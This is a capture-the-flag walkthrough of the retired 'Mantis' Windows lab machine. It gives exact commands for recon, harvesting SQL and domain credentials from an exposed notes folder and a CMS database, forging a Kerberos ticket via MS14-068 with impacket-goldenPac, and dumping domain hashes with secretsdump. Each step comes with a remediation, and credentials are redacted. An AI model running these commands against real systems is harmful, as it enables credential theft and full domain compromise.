jperezduerto.info
← all walkthroughs

Mantis

Windows· Hard· Privilege Escalation
owned
2026-07-10
time to own
11m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon against <retired-instance-ip> found IIS 7.5 on ports 1337 and 8080. Port 1337 exposed a browsable /secure_notes/ directory containing dev_notes_NDA.txt.txt and a second, base64-obfuscated filename (dev_notes_Nm...txt.txt). Fetching the obfuscated note revealed setup instructions for the box: OrchardCMS backed by SQL Server 2014 Express with a local SQL admin account, plus the credential itself. Port 8080 confirmed the OrchardCMS install (X-Generator: Orchard, IIS 7.5, ASP.NET/MVC headers).

The recovered MSSQL credential (admin / [REDACTED: recovered credential]) was validated with NetExec against MANTIS (Windows Server 2008 R2 SP1, domain htb.local, local auth). From there, orcharddb was enumerated: its sys.databases listing confirmed the Orchard database, and the Orchard user-table schema (INFORMATION_SCHEMA.COLUMNS) was queried to locate the CMS user-credential columns. This yielded a domain credential for james ([REDACTED: recovered credential]), which was confirmed valid over both SMB and LDAP against htb.local.

Privilege escalation to root exploited MS14-068 (Kerberos PAC forgery) — the unpatched Windows Server 2008 R2 domain controller allowed forging a Domain Admin PAC for james via Impacket's goldenPac.py. The tool logged a non-fatal Couldn't get forest info warning but still established a SYSTEM-level shell using the forged ticket. That shell was used directly to read C:\Users\James\Desktop\user.txt (user flag [REDACTED: flag]) and C:\Users\Administrator\Desktop\root.txt (root flag [REDACTED: flag]), completing root-owned.

Attack path — how the box was taken

1ReconnaissanceNetwork port and service enumeration (T1046)
Mapped all open services and identified the target as an Active Directory domain controller
A full TCP port scan of <retired-instance-ip> fingerprinted the host as Windows Server 2008 R2 SP1 running the domain 'htb.local'. Critical observations: Kerberos (88), LDAP (389), and SMB (445) confirmed a domain controller role; IIS 7.5 on non-standard ports 1337 and 8080 signalled web applications worth enumerating; and SQL Server 2014 (1433) exposed a database engine directly to the network — an unusual configuration for a DC that immediately suggested credential-in-database and unpatched-kernel scenarios.
nmap fingerprint: 88/tcp Kerberos, 389/tcp LDAP domain htb.local, 1337/tcp IIS 7.5, 1433/tcp SQL Server 2014 12.00.2000.00 RTM, 445/tcp Windows Server 2008 R2 SP1.
Exact commands 1
Full TCP SYN scan with version detection and default NSE scripts.
nmap -sV -sC -p- --min-rate 5000 -oA mantis_full $TARGET
2EnumerationIIS directory listing / unauthenticated file enumeration (T1083)
Discovered a browsable developer-notes directory on IIS port 1337
Browsing the IIS 7.5 site on port 1337 returned a directory listing for /secure_notes/ because the IIS directory-browsing feature was left enabled. Two files were visible: a plaintext NDA note and a second file whose filename was an unusually long base64/hex string. The mere existence of an internal notes folder under the web root — intended only for local reference — was itself the misconfiguration; once discoverable, its contents were fully readable by any unauthenticated user.
curl http://<retired-instance-ip>:1337/secure_notes/ returned an HTML directory index listing both note files without requiring credentials.
Exact commands 2
List the browsable notes directory to see both exposed files.
curl -s http://$TARGET:1337/secure_notes/
Retrieve the plaintext NDA developer note for context clues.
curl -s http://$TARGET:1337/secure_notes/dev_notes_NDA.txt.txt
FixDisable IIS directory browsing on all sites and virtual directoriesMedium
WeaknessIIS directory browsing was enabled on the port-1337 web site, allowing any unauthenticated visitor to list the contents of /secure_notes/ and see every file it contained. Without this listing, I would have needed to guess or brute-force the exact file paths.
FixIn IIS Manager, select each site and virtual directory, open 'Directory Browsing', and set it to Disabled. Enforce this globally with: appcmd set config /section:directoryBrowse /enabled:false. Add a <directoryBrowse enabled='false' /> element to each web.config so the setting cannot be accidentally re-enabled at a child level. Audit all IIS sites on every host for the same setting.
3EnumerationCredentials in publicly accessible files (T1552.001)
Recovered SQL Server administrator credentials from a web-accessible developer note
The second file's base64-encoded filename decoded to a hex string that spelled out the SQL Server administrator password — the developer had embedded the credential directly in the filename as a hint. Fetching the file confirmed this: the note described the OrchardCMS installation backed by SQL Server 2014 Express and stated the local SQL admin account name and password in plaintext (admin / [REDACTED: recovered credential]). Credentials committed to or stored alongside web-served files are trivially harvested by any visitor who enumerates the path.
File content contained the MSSQL admin credential verbatim; filename NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx base64-decodes to hex encoding of the password.
Exact commands 2
Fetch the obfuscated note; contains the MSSQL admin credential in plaintext.
curl -s http://$TARGET:1337/secure_notes/dev_notes_NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx.txt.txt
Decode the filename to reveal the hex-encoded password hint embedded by the developer.
echo 'NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx' | base64 -d | xxd
FixRemove all credential material from web-accessible directories before and after deploymentCritical
WeaknessDeveloper setup notes containing the SQL Server administrator account name and password (admin / [REDACTED: recovered credential]) were stored under the IIS web root in /secure_notes/, making them retrievable by any unauthenticated HTTP request once the path was discovered. The MSSQL password was [REDACTED: recovered credential] embedded in the filename itself.
FixEnforce a policy that no credentials, connection strings, or internal setup notes may reside anywhere under the web root. Implement a pre-deployment gate (git pre-commit hook or CI scan using tools such as truffleHog or gitleaks) that blocks commits containing password patterns. Immediately rotate the exposed SQL admin credential (admin / [REDACTED: recovered credential]) and treat it as fully compromised.
4ExploitationDatabase credential abuse / [REDACTED: recovered credential] schema enumeration (T1078.003)
Authenticated to SQL Server and enumerated the OrchardCMS database schema
The recovered credentials gave full SQL Server administrative access to the MANTIS instance via local authentication. Querying sys.databases confirmed the orcharddb database alongside the four standard system databases. I then walked INFORMATION_SCHEMA.COLUMNS to locate the OrchardCMS user credential table (dbo.blog_Orchard_Users_UserPartRecord) and confirm the presence of UserName and Password columns — the exact fields needed to harvest domain credentials.
nxc MSSQL: MANTIS [+] MANTIS\admin:[REDACTED: recovered credential]; sys.databases returned name:orcharddb; INFORMATION_SCHEMA.COLUMNS confirmed Id/UserName/Email/NormalizedUserName/Password in dbo.blog_Orchard_Users_UserPartRecord.
Exact commands 3
Validate the SQL admin credential using local (non-domain) authentication.
nxc mssql $TARGET -u admin -p '[REDACTED: recovered credential]' --local-auth
Confirm orcharddb is present alongside the standard system databases.
nxc mssql $TARGET -u admin -p '[REDACTED: recovered credential]' --local-auth -q 'SELECT name FROM sys.databases;'
Enumerate the OrchardCMS user table schema to identify credential columns.
nxc mssql $TARGET -u admin -p '[REDACTED: recovered credential]' --local-auth -q "SELECT COLUMN_NAME FROM orcharddb.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='blog_Orchard_Users_UserPartRecord';"
5ExploitationCredential recovery from database store (T1555)
Extracted a domain user's plaintext password from the CMS database
Querying the OrchardCMS user record table returned the username and password for the domain account 'james'. OrchardCMS stored this password in a recoverable format, meaning it could be read directly without cracking. I validated the credential over both SMB and LDAP on the domain controller, confirming james is a valid htb.local domain member — turning a web-application database compromise into a live Active Directory foothold.
SELECT UserName, Password FROM orcharddb.dbo.blog_Orchard_Users_UserPartRecord yielded james:[REDACTED: recovered credential]; nxc SMB and LDAP both returned [+] htb.local\james.
Exact commands 3
Dump CMS user credentials; yields james's domain password in recoverable plaintext.
nxc mssql $TARGET -u admin -p '[REDACTED: recovered credential]' --local-auth -q "SELECT UserName, Password FROM orcharddb.dbo.blog_Orchard_Users_UserPartRecord;"
Validate the recovered domain credential over SMB.
nxc smb $TARGET -d htb.local -u james -p '[REDACTED: recovered credential]'
Validate over LDAP to confirm htb.local domain membership.
nxc ldap $TARGET -d htb.local -u james -p '[REDACTED: recovered credential]'
FixNever store Active Directory credentials in the CMS database; enforce one-way password hashingHigh
WeaknessThe OrchardCMS database (orcharddb) stored the domain user james's Active Directory password in a format that could be read directly from the dbo.blog_Orchard_Users_UserPartRecord table without cracking. Anyone with read access to the database — including a compromised SQL admin account — could retrieve a live domain credential.
FixDo not create CMS accounts whose passwords match Active Directory accounts. If AD-based login is required, configure Windows Integrated Authentication (Kerberos/NTLM pass-through) so the CMS never stores or even sees a domain password. For local CMS-only accounts, enforce a modern one-way hash (bcrypt or Argon2) with per-record salting. Immediately reset james's domain password ([REDACTED: recovered credential]) and audit all other orcharddb user records for domain credential reuse.
6Privilege EscalationMS14-068 Kerberos PAC forgery / CVE-2014-6324 (T1558)
Forged a Domain Admin Kerberos ticket by exploiting MS14-068 on the unpatched domain controller
The Windows Server 2008 R2 domain controller was missing security update KB3011780, leaving it vulnerable to CVE-2014-6324 (MS14-068): any authenticated domain user can craft a forged Privilege Attribute Certificate (PAC) in their Kerberos TGT claiming membership in the Domain Admins group. The DC validates the PAC without a cryptographic integrity check on unpatched systems, accepting the forgery as legitimate. Impacket's goldenPac.py automated the entire attack — it forged a TGT for james asserting Domain Admin rights, submitted it to the KDC, and received back a valid service ticket granting a SYSTEM-level interactive shell on the domain controller. A non-fatal 'Couldn't get forest info' warning appeared in the output but did not prevent exploitation.
impacket-goldenPac established a shell where whoami returned NT AUTHORITY\SYSTEM on MANTIS despite the forest-info warning; both flags subsequently read successfully.
Exact commands 2
Register the domain and hostname so Kerberos name resolution works correctly.
echo '$TARGET mantis htb.local mantis.htb.local' | sudo tee -a /etc/hosts
Exploit MS14-068: forge a Domain Admin PAC for james and receive an interactive SYSTEM shell. The 'Couldn't get forest info' warning is non-fatal — the shell still lands.
impacket-goldenPac -dc-ip $TARGET 'htb.local/james:[REDACTED: recovered credential]'@$TARGET
FixApply MS14-068 patch (KB3011780) immediately and migrate off Windows Server 2008 R2Critical
WeaknessThe domain controller ran Windows Server 2008 R2 SP1 without security update KB3011780, leaving the Kerberos KDC vulnerable to PAC forgery (CVE-2014-6324 / MS14-068). Any authenticated domain user — including a low-privilege account — can forge a Kerberos ticket claiming Domain Admin group membership, instantly gaining SYSTEM access to every machine in the domain.
FixInstall KB3011780 on every domain controller immediately and restart each DC after patching. Verify patch status with: Get-HotFix -ComputerName MANTIS -Id KB3011780. As immediate containment, reset the krbtgt account password twice (with a 10-hour gap between resets) to invalidate any forged tickets already in circulation. Note that Windows Server 2008 R2 reached end-of-life in January 2020 and receives no further security updates; plan an urgent migration to Windows Server 2022 or later, which is not affected by this vulnerability class.
7Full CompromiseData collection from local system (T1005) / domain credential dumping (T1003.003)
Read user and administrator flags from the SYSTEM shell; entire domain at risk
Operating as NT AUTHORITY\SYSTEM on the domain controller, I read the user flag from James's desktop and the administrator (root) flag from the Administrator's desktop. At this privilege level the entire Active Directory environment is compromised: all domain account password hashes, Kerberos keys, Group Policy Objects, and secrets stored on every domain-joined machine are accessible. A secretsdump of the DC yields hashes for every account in the domain, enabling further lateral movement across the organisation long after this initial access.
user.txt and root.txt both captured from SYSTEM shell on MANTIS.
Exact commands 3
Read the user flag; captured value is [REDACTED: flag].
type C:\Users\James\Desktop\user.txt
Read the administrator flag; captured value is [REDACTED: flag].
type C:\Users\Administrator\Desktop\root.txt
Dump all domain account NTLM hashes and Kerberos keys to demonstrate full domain compromise (run from operator host, no shell needed once DC is accessible).
impacket-secretsdump -just-dc 'htb.local/james:[REDACTED: recovered credential]'@$TARGET

Findings

Privilege Escalation to rootCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
1337/tcp
1433/tcp
8080/tcp
9389/tcp
49152/tcp
49153/tcp
49154/tcp
49155/tcp
49157/tcp
49158/tcp
49196/tcp
50255/tcp